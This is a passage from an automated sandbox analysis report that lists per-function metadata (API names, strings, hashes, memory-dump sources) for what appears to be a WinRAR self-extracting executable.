                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: AddressProc$CurrentDirectoryProcessSystem
                                                                                                                                                                    • String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
                                                                                                                                                                    • API String ID: 2915667086-2207617598
                                                                                                                                                                    • Opcode ID: 6dbaf9cf7153a5e8dbf8df8d38de21c9a13b18e59ab9d45350641f29a997ceda
                                                                                                                                                                    • Instruction ID: d458d82d3f775f08f46b1dec1439564c7b704d95d408ba7331ddf317516f9402
                                                                                                                                                                    • Opcode Fuzzy Hash: 6dbaf9cf7153a5e8dbf8df8d38de21c9a13b18e59ab9d45350641f29a997ceda
                                                                                                                                                                    • Instruction Fuzzy Hash: 13315320A0CB0380FB14AB1DA840579E792BF67B9CFD65279DA5D0379CDEBCE1558320
                                                                                                                                                                    Function 00007FF7B1DEC8EC Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 317COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Is_bad_exception_allowedabortstd::bad_alloc::bad_alloc
                                                                                                                                                                    • String ID: csm$csm$csm$|%}
                                                                                                                                                                    • API String ID: 2940173790-1451408318
                                                                                                                                                                    • Opcode ID: f19368c3d222f6451f99b24df59d7fbec0c2abeb1c9f076067a4dfb36f37fa00
                                                                                                                                                                    • Instruction ID: ac2ba196688d6183ae02d4a4a8ab219b0c9702a350ff98d4bacb3c405d0afb83
                                                                                                                                                                    • Opcode Fuzzy Hash: f19368c3d222f6451f99b24df59d7fbec0c2abeb1c9f076067a4dfb36f37fa00
                                                                                                                                                                    • Instruction Fuzzy Hash: F6E1A333A086828AEB14EB2DD4803BDBBA0FB6674DF948135DB5D4765ACF78E581C710
                                                                                                                                                                    Function 00007FF7B1DE36E8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 122COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Window$Show$RectText
                                                                                                                                                                    • String ID: RarHtmlClassName$|%}
                                                                                                                                                                    • API String ID: 3937224194-1521884576
                                                                                                                                                                    • Opcode ID: 482771c01bc65d6bc33b1ef1079e61e8996c103a06c01838d6c4252630f2b9b9
                                                                                                                                                                    • Instruction ID: 98618687c6d9468a3228f9ac463e00edf2b1ef85c64a8458d4dc3ec9592434a2
                                                                                                                                                                    • Opcode Fuzzy Hash: 482771c01bc65d6bc33b1ef1079e61e8996c103a06c01838d6c4252630f2b9b9
                                                                                                                                                                    • Instruction Fuzzy Hash: FE516426609B4246EF28BB29A45073EE760FB96B89F948134DF4E47758CF7CE5058710
                                                                                                                                                                    Function 00007FF7B1DF7FE8 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 193COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: _invalid_parameter_noinfo
                                                                                                                                                                    • String ID: |%}$|%}$|%}$|%}$|%}
                                                                                                                                                                    • API String ID: 3215553584-829620554
                                                                                                                                                                    • Opcode ID: e5d0c8d31bd935fbc73e68f093a15dd31844db58c2013ff7c3ab28f316b2210f
                                                                                                                                                                    • Instruction ID: 13edc7da0216ebb89228eff1197ab831aacd4e72608f883a7b847c560fcf3231
                                                                                                                                                                    • Opcode Fuzzy Hash: e5d0c8d31bd935fbc73e68f093a15dd31844db58c2013ff7c3ab28f316b2210f
                                                                                                                                                                    • Instruction Fuzzy Hash: C6719122F0968681FB68B71CD49537D9791AF6378CFE44535DB0E0669CDEACE6408232
                                                                                                                                                                    Function 00007FF7B1DECDE8 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 190COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: abort$CallEncodePointerTranslator
                                                                                                                                                                    • String ID: MOC$RCC$|%}
                                                                                                                                                                    • API String ID: 2889003569-2351362742
                                                                                                                                                                    • Opcode ID: efa0151c868aca9567335aef0cf7eb99f595b7c114ce22894b07312cdecd7ffd
                                                                                                                                                                    • Instruction ID: 50a28b4b2a432201522f8a2fcd25fb16ef81281d2e5c4fbeabe93d5128e5c903
                                                                                                                                                                    • Opcode Fuzzy Hash: efa0151c868aca9567335aef0cf7eb99f595b7c114ce22894b07312cdecd7ffd
                                                                                                                                                                    • Instruction Fuzzy Hash: 5E91D273A08B918AEB14DB68E8402ADBBA0F71578CF54813AEF4C47759DF78E191C700
                                                                                                                                                                    Function 00007FF7B1DE4EC0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 145COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ItemText$Dialog
                                                                                                                                                                    • String ID: GETPASSWORD1$Software\WinRAR SFX$|%}
                                                                                                                                                                    • API String ID: 1770891597-130370314
                                                                                                                                                                    • Opcode ID: 032380212446e9e3a76212182242ed55e14455ba94c0e91f9393e55202c7f02f
                                                                                                                                                                    • Instruction ID: 41b252156fd8728257ca6e0cbed49217285aab77cddf0295b51abf2ee15aeb08
                                                                                                                                                                    • Opcode Fuzzy Hash: 032380212446e9e3a76212182242ed55e14455ba94c0e91f9393e55202c7f02f
                                                                                                                                                                    • Instruction Fuzzy Hash: 4B51D723A18A8246EB24AB28E4447BEA390FF967CDF804131EB4D46B5DDFBCD544C720
                                                                                                                                                                    Function 00007FF7B1DFB58C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142fileCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 3659116390-1550162156
                                                                                                                                                                    • Opcode ID: e532793c5c8993de4c02adb75cd1f87544b168029c2ced9a4c779194dd8a1e63
                                                                                                                                                                    • Instruction ID: 338977f7be1d0cf9206e7e9ea202bd11754616616c3f6bf02f254c54a2c63c86
                                                                                                                                                                    • Opcode Fuzzy Hash: e532793c5c8993de4c02adb75cd1f87544b168029c2ced9a4c779194dd8a1e63
                                                                                                                                                                    • Instruction Fuzzy Hash: 1951C032A14A5189E710DB39E4443ACBBB1FB6AB9CF488235CF4A4769CDF78D245C720
                                                                                                                                                                    Function 00007FF7B1DE9038 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 43libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • GetModuleHandleW.KERNEL32(?,?,?,00007FF7B1DE8FA7,?,?,?,00007FF7B1DE935A), ref: 00007FF7B1DE905F
                                                                                                                                                                    • GetProcAddress.KERNEL32(?,?,?,00007FF7B1DE8FA7,?,?,?,00007FF7B1DE935A), ref: 00007FF7B1DE907C
                                                                                                                                                                    • GetProcAddress.KERNEL32(?,?,?,00007FF7B1DE8FA7,?,?,?,00007FF7B1DE935A), ref: 00007FF7B1DE9098
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: AddressProc$HandleModule
                                                                                                                                                                    • String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
                                                                                                                                                                    • API String ID: 667068680-1718035505
                                                                                                                                                                    • Opcode ID: c361d6da8eb67a4f6c777a3ffa051c6a5b4400db5319d010d5b7976296ee86f0
                                                                                                                                                                    • Instruction ID: 4065746449c0cc5e1a07a9c02a7ab75ae8b408f931ab22a6e9b76db7f8150e5f
                                                                                                                                                                    • Opcode Fuzzy Hash: c361d6da8eb67a4f6c777a3ffa051c6a5b4400db5319d010d5b7976296ee86f0
                                                                                                                                                                    • Instruction Fuzzy Hash: EB113021A0BB2291FF5D7B1CA941274E791AF2678AFC99435CB1D0639CEEFCB5458230
                                                                                                                                                                    Function 00007FF7B1DE3098 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 78COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: wcscpy
                                                                                                                                                                    • String ID: &nbsp;$<br>$<style>body{font-family:"Arial";font-size:12;}</style>
                                                                                                                                                                    • API String ID: 1284135714-864536935
                                                                                                                                                                    • Opcode ID: 0b04f5b42dcc5afc531e794244350b074f50c4f45878286a04f29e715afb2107
                                                                                                                                                                    • Instruction ID: 197e1f16b0d8fd1ee8400e91f4edb490d4656e9aaa78fcd36e72138f123b50be
                                                                                                                                                                    • Opcode Fuzzy Hash: 0b04f5b42dcc5afc531e794244350b074f50c4f45878286a04f29e715afb2107
                                                                                                                                                                    • Instruction Fuzzy Hash: FA316453E08252A1EF24BB599400179A370EF62B9DFC4C139DB4D0769DEFBCE6858321
                                                                                                                                                                    Function 00007FF7B1DD8DEC Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 222COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ErrorLastLoadStringswprintf
                                                                                                                                                                    • String ID: %ls$%s: %s$|%}
                                                                                                                                                                    • API String ID: 1667839203-362934439
                                                                                                                                                                    • Opcode ID: 2e37fd5d1039c0864daa14d924a25d1d9870cdbca16d321fd095008006fc1188
                                                                                                                                                                    • Instruction ID: 51e99537f5394c58eabf71288fbf00cde7de3ae9a7d37b87ed9327a44df4d37e
                                                                                                                                                                    • Opcode Fuzzy Hash: 2e37fd5d1039c0864daa14d924a25d1d9870cdbca16d321fd095008006fc1188
                                                                                                                                                                    • Instruction Fuzzy Hash: 16912762F0C10381F76E3A3CC5692798246AFB774CEE4423AD74F166DDCDDEA9008662
                                                                                                                                                                    Function 00007FF7B1DEBF6C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CurrentImageNonwritableUnwind__except_validate_context_record
                                                                                                                                                                    • String ID: csm$f
                                                                                                                                                                    • API String ID: 2395640692-629598281
                                                                                                                                                                    • Opcode ID: f4c1aff224d5910e48a727d51e9af22eebea1a0e2d1c43e0b0c450b4e201961d
                                                                                                                                                                    • Instruction ID: 4a8f919b320a539e6d6b9f4b34c7a5dd2af47851c0392bbfffc2d9b321df116f
                                                                                                                                                                    • Opcode Fuzzy Hash: f4c1aff224d5910e48a727d51e9af22eebea1a0e2d1c43e0b0c450b4e201961d
                                                                                                                                                                    • Instruction Fuzzy Hash: 2D51BF33A0965286EF58EB19E404A39B795FB62B8DFD1C134DB0A4378CDEB9E9418710
                                                                                                                                                                    Function 00007FF7B1DD3468 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128filetimeCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: File$Create$CloseHandleTime
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 2287278272-1550162156
                                                                                                                                                                    • Opcode ID: 41eceff60dd3cc4d85658f1ae113beff06f189e4bd06a61337f6f47012b583cd
                                                                                                                                                                    • Instruction ID: 3fef4e7fc95217d0e470a511db567a0450af67127a79493f19cd9f4943efd671
                                                                                                                                                                    • Opcode Fuzzy Hash: 41eceff60dd3cc4d85658f1ae113beff06f189e4bd06a61337f6f47012b583cd
                                                                                                                                                                    • Instruction Fuzzy Hash: 0C410462B0C68152EB50AB19E41177AE7A0BBA37A8F904230EF5D067DCDFBCD6098710
                                                                                                                                                                    Function 00007FF7B1DE49C8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: CreateCurrentDirectoryErrorFreeLastLocalProcess
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 1077098981-1550162156
                                                                                                                                                                    • Opcode ID: fdeb9d77c23412e914dd3c1e01de4a08c13a70cc10e842fb91fec26fc24c3f06
                                                                                                                                                                    • Instruction ID: 3223b05513cba387947a7466fd974211cb06e45568c5b06983170803720bb26d
                                                                                                                                                                    • Opcode Fuzzy Hash: fdeb9d77c23412e914dd3c1e01de4a08c13a70cc10e842fb91fec26fc24c3f06
                                                                                                                                                                    • Instruction Fuzzy Hash: F6419F32618B8286EB40AF65E4447AEB3A5FBA5789F904035EB4D57A5CCF7CD504CB10
                                                                                                                                                                    Function 00007FF7B1DFB9B8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 100fileCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ByteCharErrorFileLastMultiWideWrite
                                                                                                                                                                    • String ID: U$|%}
                                                                                                                                                                    • API String ID: 2456169464-2302695141
                                                                                                                                                                    • Opcode ID: 8b814458cd7cc5fbb2d187b6083f2fc6c65188a1ec630b64749929fbcfb4944a
                                                                                                                                                                    • Instruction ID: a10b95cdc946060e85cd4605b4e066ac0e10b3f98ab9420425e84b6ad095f498
                                                                                                                                                                    • Opcode Fuzzy Hash: 8b814458cd7cc5fbb2d187b6083f2fc6c65188a1ec630b64749929fbcfb4944a
                                                                                                                                                                    • Instruction Fuzzy Hash: 25410A22B19A4181E7109F19E8443BAB7A0F769799F844131EF4D8775CDFBCD505C750
                                                                                                                                                                    Function 00007FF7B1DE7A00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON
